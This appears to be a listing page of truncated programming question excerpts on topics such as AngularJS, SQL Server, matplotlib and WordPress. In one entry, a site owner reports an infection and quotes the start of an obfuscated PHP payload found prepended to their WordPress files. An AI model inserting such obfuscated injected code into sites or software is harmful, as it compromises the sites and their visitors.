Adding a custom page template to Warp Theme for bbPress

(This post has been submitted on the Yootheme forums but I don't have as much confidence in a solution so I thought I'd post it here too.) I'm using the Nano theme from Yoothemes and its working great for 90% of my site. However I'

Visual Basic: NullReferenceException Is Not Processed

I can't work out what's causing it. The error report says "Object variable or With block variable not set." for the line "allSlotLabels(i).Image = imgCherries". This line is no different from the other, so I guess it's just the error i

Windows Command - how to delete the blinking cursor (prompt?)

I am working with an application that is running inside of a command window. Now inside of that application I added some of my code to run external programs. Basically what it does, is that it calls cmd.exe /c myprog.bat param1 param2, and then insid

The "angular way" of adding the stored state to an application

We're developing a single page app e-learning using Angularjs and we've got to the point of needing to track if certain components are 'completable' AND if they are completed. Unfortunately I'm almost certain my understanding of Angularjs concepts is

What does CamelCase mean at AngularJS?

I am a beginner in AngularJS. While reading an article about Custom Directive, I have seen a word 'CAMEL CASE'. What exactly it means? This is the paragraph in which I have seen about CAMEL CASE: While matching directives, Angular strips the prefix x

See how often the condition has met

I have a table (stu_grades) that stores student data and their grades. I want to find out how many times for e.g. each student in that table got 'A' and then 'B' etc. How do i do this? my feeling is to use a row over? by i can't construct the query.

MFC controls hide on the basic theme of Windows 7

Can anyone please tell me why MFC applications are not displaying correctly in Windows 7 basic theme ? EDIT: Is there anyone who can guess the problem ? EDIT: Im using vs2008 (same version is used to create this app). This particular window is DLL ba

matplotlib: faster PDF generation?

I would like to use matplotlib to generate a number of PDF files. My main problem is that matplotlib is slow, taking order of 0.5 seconds per file. I tried to figure out why it takes so long, and I wrote the following test program that just plots a v

Creating a spinner to choose the country code

I want to create a spinner for selecting a country and getting its country code. I already found this item list: <string-array name="countryCodes"> <item>93,AF</item> <item>355,AL</item> <item>213,DZ</item&

Add a footer to FlowDocumentsdocuments

I want to add footer to FlowDocuments in wpf. Please help me how to add?After you load an XAML file, you will get an IDocumentPaginatorSource object, from which you can get its DocumentPaginator. You can wrapper around DocumentPaginator, overriding i

Error while building the Apache Zeppelin

I have my hadoop already setup with cloudera. I wanted to install zeppelin to connect with hive and build the UI for my queries. While building the zeppelin command with the following command: sudo mvn clean package -Pspark-1.3 -Dspark.version=1.3.0

Single page mirror with httrack

I am trying to use httrack ( in order to download a single page, not the entire site. So, for example, when using httrack in order to download it should only download the html found under along wi

What to do when MySQL has no more space?

Out of curiosity, say you have a huge MySQL database full of user information and it is now full. How would you run the same MySQL database off of the same server and another server with more storage space?If the problem is just a matter of storage s

How to assign another object to point a single object?

Possible Duplicate: NSString immutable allows to change its values? I want to point to an object where in, if I make changes to one object. the same change has to reflect to other object. How to do that? I have done a sample, but it is not working. P

Error during call procedure in SQL Server

I am trying to create a procedure in SQL Server. Here's my attempt so far: create proc sp_cr_tbl(@table_name text) --returns integer as begin declare @sql nvarchar(4000) set @sql = 'create table @table_name(id integer)' exec sp_executesql @sql end it

How to implement a custom std collection in C ++?

I want to implement a custom collection data structure in std style. There is already a similar question on this site, but this guy is explicitly asking about not using any given std functionality. The implementation should be compatible with the res

How to find the parent element using javascript

I want to change the background color of the table cell when radio button inside the cell is clicked. <table> <tr> <td align="center"> <input type="radio" value="foo" onclick="this.parentElement.styl

Unable to insert duplicate key row in object

The first time I add a migration my seeding works. However, if I run it again I get the exception System.Data.SqlClient.SqlException: Cannot insert duplicate key row in object 'dbo.Attributes' with unique index 'IX_AttributeName'. The duplicate key v

wordpress are injected some code snippets

I found all of php files of my wordpress are injected some code snippets in front of the files. <?php $ipdcnbaium = '5c%x78256<^#zsfvr#%x5c%x785cq7825hW~%x5c%x7825fdy)##-!#~<%x5c%x7825h00#*<%x5c%x7825nfd)##Qtpz]y74]273]y76]252]y85]256]y6g]257]

How to generate a 256-bit AES key

This question already has an answer here: InvalidKeyException Illegal key size 4 answers For generating AES key of 256 bits, i wrote following code: KeyGenerator keyGen; try { keyGen = KeyGenerator.getInstance("AES"); keyGen.init(256); SecretKey

Tracking changes in a SQL Server 2005 database

I have been tasked with developing a solution that tracks changes to a database. For updates I need to capture: date of update old value new value field affected person doing change record id table record is in For deletes: date of delete person doin